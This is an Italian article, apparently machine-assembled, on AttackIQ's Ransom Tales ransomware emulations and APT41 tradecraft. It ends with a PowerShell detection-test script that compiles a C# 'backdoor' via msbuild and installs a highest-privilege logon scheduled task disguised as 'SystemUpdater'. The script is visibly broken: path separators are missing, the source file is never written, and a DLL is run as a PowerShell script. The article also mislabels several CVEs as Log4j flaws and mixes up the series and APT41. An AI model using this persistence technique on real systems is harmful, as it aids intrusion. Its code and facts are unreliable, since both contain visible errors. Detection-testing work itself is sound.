Tattiche del gruppo APT41 contro le Emulazioni di Ransomware in AttackIQ Ransom Tales

SOMMARIO

L’articolo descrive il quinto volume della serie Ransom Tales di AttackIQ, che ricrea le tattiche, tecniche e procedure di tre famiglie di ransomware tristemente note—REvil, DarkSide e BlackMatter—in un ambiente di laboratorio controllato. Ogni emulazione copre le fasi di esecuzione, persistenza, scoperta, evasione delle difese e impatto, permettendo ai difensori di esercitare e convalidare i flussi di lavoro di rilevamento e risposta. Gli scenari di Ransom Tales riecheggiano le lezioni dalla campagna di cyber-espionaggio APT41 mentre raccontano i compromessi nella catena di approvvigionamento e l’ascesa degli ecosistemi Ransomware-As-a-Service per team blu e analisti moderni.

Analisi degli Attacchi APT41

Il team di ricerca sugli avversari di AttackIQ ha analizzato report pubblici di threat-intel, campioni di malware e telemetria per costruire grafici di attacco realistici per ciascuna famiglia di ransomware, simile a come gli analisti hanno ricostruito le attività del gruppo APT41. Hanno mappato i passaggi osservati alle tecniche del MITRE ATT&CK e progettato flussi di esecuzione che recuperano payload, stabiliscono persistenza, enumerano host e criptano dati. Hanno inoltre modellato come il gruppo APT41 ha lanciato un’operazione di cyber-espionaggio contro un’azienda statunitense per illustrare il tradecraft condiviso.

Mitigazione

Le raccomandazioni per la mitigazione sottolineano l’accesso strettamente con i minimi privilegi, la disabilitazione di servizi non necessari e il rapido patching delle infrastrutture, incluso Atlassian Confluence, Apache Struts e le vulnerabilità RCE di GoAhead, così come le falle di Log4j come CVE-2021-44228, CVE-2022-26134, CVE-2017-9805 e CVE-2017-17562. I team dovrebbero limitare l’accesso desktop remoto, monitorare le modifiche al registro e ai task, e convalidare i backup.

Risposta

Quando viene rilevata un’attività, i rispondenti dovrebbero isolare i sistemi colpiti, catturare la memoria volatile, raccogliere gli alveari del registro e preservare le fonti di log per la revisione. Devono esaminare copie shadow, task schedulati e chiavi di registro per evidenze delle tecniche utilizzate dal gruppo APT41, quindi ripristinare i dati dai backup. I team dovrebbero cercare movimenti laterali, informare gli stakeholder e arricchire gli incidenti con threat intel.

Simulazioni

Esecuzione della Simulazione

Prerequisito: Il Controllo Pre-volo di Telemetria e Baseline deve essere passato.

Motivazione: Questa sezione illustra l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrativa DEVONO riflettere direttamente i TTP identificati e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.

• Narrazione e Comandi d’Attacco:
  L’avversario, emulando APT41, prima compila un backdoor C# malevolo utilizzando msbuild.exe per bypassare la whitelisting delle applicazioni. Il payload compilato è quindi impostato come un task programmato utilizzando schtasks.exe per ottenere la persistenza. Entrambi i binari vengono eseguiti da posizioni non standard per emulare un comportamento attaccante realistico pur mantenendo la condizione del nome dell’immagine della regola.

• Script di Test di Regressione:
  
  

•  

  # Test di persistenza in stile APT41 – PowerShell
  # -------------------------------------------------
  # 1. Prepara payload malevolo C#
  $source = @"
  using System;
  using System.Diagnostics;
  public class Backdoor {
      public static void Main() {
          Process.Start(new ProcessStartInfo {
              FileName = "cmd.exe",
              Arguments = "/c echo Compromised > C:Temppwned.txt",
              CreateNoWindow = true,
              UseShellExecute = false
          });
      }
  }
  "@
  $srcPath = "$env:TEMPbackdoor.cs"
  $projPath = "$env:TEMPbackdoor.csproj"
  $dllPath = "$env:TEMPbackdoor.dll"
  $srcPath | Out-File -Encoding ASCII -Force
  $projContent = @"
  <Project Sdk=`"Microsoft.NET.Sdk`">
    <PropertyGroup>
      <TargetFramework>net48</TargetFramework>
      <OutputType>Library</OutputType>
    </PropertyGroup>
  </Project>
  "@
  $projPath | Out-File -Encoding ASCII -Force
  # 2. Compila DLL malevolo con msbuild (percorso non standard)
  $msbuildPath = "$env:ProgramFilesMicrosoft Visual Studio2022CommunityMSBuildCurrentBinMSBuild.exe"
  & $msbuildPath $projPath /p:OutDir=$env:TEMP /t:Build /p:Configuration=Release
  # 3. Crea task programmato per eseguire la DLL tramite powershell
  $taskName = "SystemUpdater"
  $taskCmd = "powershell -ExecutionPolicy Bypass -File `"$dllPath`""
  $schPath = "$env:SystemRootSystem32schtasks.exe"
  & $schPath /Create /SC ONLOGON /TN $taskName /TR $taskCmd /RL HIGHEST /F
  # 4. Attiva immediatamente il task
  & $schPath /Run /TN $taskName

• Comandi di Pulizia:

  # Rimuovi task programmato
  $schPath = "$env:SystemRootSystem32schtasks.exe"
  & $schPath /Delete /TN "SystemUpdater" /F
  
  # Cancella file payload
  Remove-Item -Path "$env:TEMPbackdoor.cs","$env:TEMPbackdoor.csproj","$env:TEMPbackdoor.dll" -Force